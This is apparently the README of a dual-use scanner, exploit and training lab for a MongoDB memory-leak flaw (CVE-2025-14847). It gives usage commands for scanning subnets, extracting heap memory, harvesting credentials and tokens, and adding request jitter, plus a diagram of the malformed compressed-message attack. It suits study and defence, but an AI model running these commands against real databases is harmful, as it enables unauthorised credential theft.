╔╦╗┌─┐┌┐┌┌─┐┌─┐╔╗ ┬  ┌─┐┌─┐┌┬┐
║║║│ │││││ ┬│ │╠╩╗│  ├┤ ├┤  ││
╩ ╩└─┘┘└┘└─┘└─┘╚═╝┴─┘└─┘└─┘─┴┘
CVE-2025-14847 Scanner & Exploit

# Sin dependencias externas -- solo biblioteca estándar de Python 3
cd cli

# Detectar si un objetivo es vulnerable (acción por defecto)
python mongobleed.py -t localhost:27017

# Escanear toda una subred
python mongobleed.py -t 192.168.1.0/24

# Extraer memoria y analizar en busca de credenciales
python mongobleed.py -t target:27017 -e --credentials

# Modo seguro -- solo detección, sin explotación
python mongobleed.py -t target:27017 -s

MongoBleed/
├── cli/                          # Herramienta CLI de escaneo y explotación
│   ├── mongobleed.py             # Herramienta CLI principal
│   ├── requirements.txt          # Dependencias Python (solo stdlib)
│   └── README.md                 # Documentación CLI
├── lab/                          # Entorno de laboratorio CTF basado en Docker
│   ├── docker-compose.yml        # Configuración multi-contenedor para el laboratorio
│   ├── vulnerable/               # Configuraciones vulnerables de MongoDB
│   ├── patched/                  # MongoDB parcheado para comparación
│   ├── no-zlib/                  # No explotable (zlib deshabilitado)
│   ├── monitoring/               # Panel de visualización de ataques
│   ├── warmup-heap.sh            # Poblar el heap con datos sensibles
│   └── README.md                 # Instrucciones de configuración del laboratorio
├── nuclei/                       # Plantillas de escaneo Nuclei
│   ├── CVE-2025-14847.yaml       # Plantilla de explotación activa
│   ├── CVE-2025-14847-safe.yaml  # Plantilla de detección segura
│   └── README.md                 # Documentación de plantillas Nuclei
├── docs/                         # Documentación educativa
│   ├── README.md                 # Índice de rutas de aprendizaje
│   ├── 01-fundamentals.md        # Conceptos básicos de MongoDB y memoria
│   ├── 02-vulnerability.md       # Inmersión profunda en CVE-2025-14847
│   ├── 03-exploitation.md        # Explotación práctica
│   ├── 04-detection.md           # Caza y detección
│   └── 05-defense.md             # Estrategias de mitigación
└── README.md                     # Este archivo

# Comprobar un solo objetivo
python mongobleed.py -t localhost:27017

# Comprobar con salida detallada
python mongobleed.py -t localhost:27017 -v

# Modo seguro -- solo detección, nunca envía payload de explotación
python mongobleed.py -t localhost:27017 -s

# Mostrar información de versión
python mongobleed.py -t localhost:27017 --version

# Escanear una subred /24
python mongobleed.py -t 192.168.1.0/24

# CIDR con puerto personalizado
python mongobleed.py -t 10.0.0.0/24:27018

# Escanear desde archivo de objetivos (los rangos CIDR en el archivo se expanden)
python mongobleed.py -T targets.txt -j 20 -o results.json

# El archivo de objetivos puede contener IPs, host:puerto y rangos CIDR
cat targets.txt
# 192.168.1.100:27017
# 10.0.0.0/24
# mongodb.internal:27017

# Extraer memoria (rango de offset por defecto 20-8192)
python mongobleed.py -t target:27017 -e

# Rango de offset personalizado
python mongobleed.py -t target:27017 -e --min-offset 20 --max-offset 500

# Extracción continua (Ctrl+C para detener)
python mongobleed.py -t target:27017 --continuous

# Forzar extracción incluso si la comprobación de versión no es concluyente
python mongobleed.py -t target:27017 -e --force

# Analizar memoria filtrada en busca de credenciales y secretos
python mongobleed.py -t target:27017 -e --credentials

# Analizar específicamente en busca de tokens
python mongobleed.py -t target:27017 -e --tokens

# Extraer cadenas imprimibles
python mongobleed.py -t target:27017 -e --strings

# Salida en volcado hexadecimal
python mongobleed.py -t target:27017 -e --hexdump

# Añadir retardo entre solicitudes (milisegundos)
python mongobleed.py -t target:27017 -e --delay 500

# Jitter aleatorio sobre el retardo
python mongobleed.py -t target:27017 -e --delay 1000 --jitter

# Solo detección segura
nuclei -t nuclei/CVE-2025-14847-safe.yaml -u mongodb://localhost:27017

# Detección activa
nuclei -t nuclei/CVE-2025-14847.yaml -u mongodb://localhost:27017

# Escanear múltiples objetivos
nuclei -t nuclei/ -l targets.txt

# Iniciar todos los contenedores
cd lab && docker compose up -d

# Servicios:
# - localhost:27017  MongoDB 4.4.29 (Vulnerable + zlib)
# - localhost:27018  MongoDB 6.0.26 (Vulnerable + zlib)
# - localhost:27019  MongoDB 8.0.16 (Vulnerable + zlib)
# - localhost:27020  MongoDB 8.0.17 (Parcheado)
# - localhost:27021  MongoDB 8.0.16 (Sin zlib - no explotable)
# - localhost:8080   Panel de Monitoreo

# Calentar el heap con datos sensibles antes de la explotación
./warmup-heap.sh 27017 50

# Ejecutar exploit contra el laboratorio
cd ../cli
python mongobleed.py -t localhost:27017 -e --credentials

1. CONECTAR (sin autenticación requerida)
              ↓
2. ENVIAR OP_COMPRESSED MALFORMADO
   ┌──────────────────────────────────┐
   │ originalOpcode: OP_MSG (2013)    │
   │ uncompressedSize: INFLADO        │ ← Disparador del bug
   │ compressorId: zlib (2)           │
   │ compressedMessage: [datos pequeños] │
   └──────────────────────────────────┘
              ↓
3. EL SERVIDOR ASIGNA BÚFER SOBREDIMENSIONADO
   [ datos reales pequeños | memoria heap no inicializada ]
              ↓
4. EL ANALIZADOR BSON LEE BASURA DEL HEAP
   La longitud inflada del documento hace que el analizador
   lea más allá de los datos reales dentro de la memoria heap
              ↓
5. LA RESPUESTA DE ERROR FILTRA MEMORIA
   "invalid BSON field name 'password=secret123...'"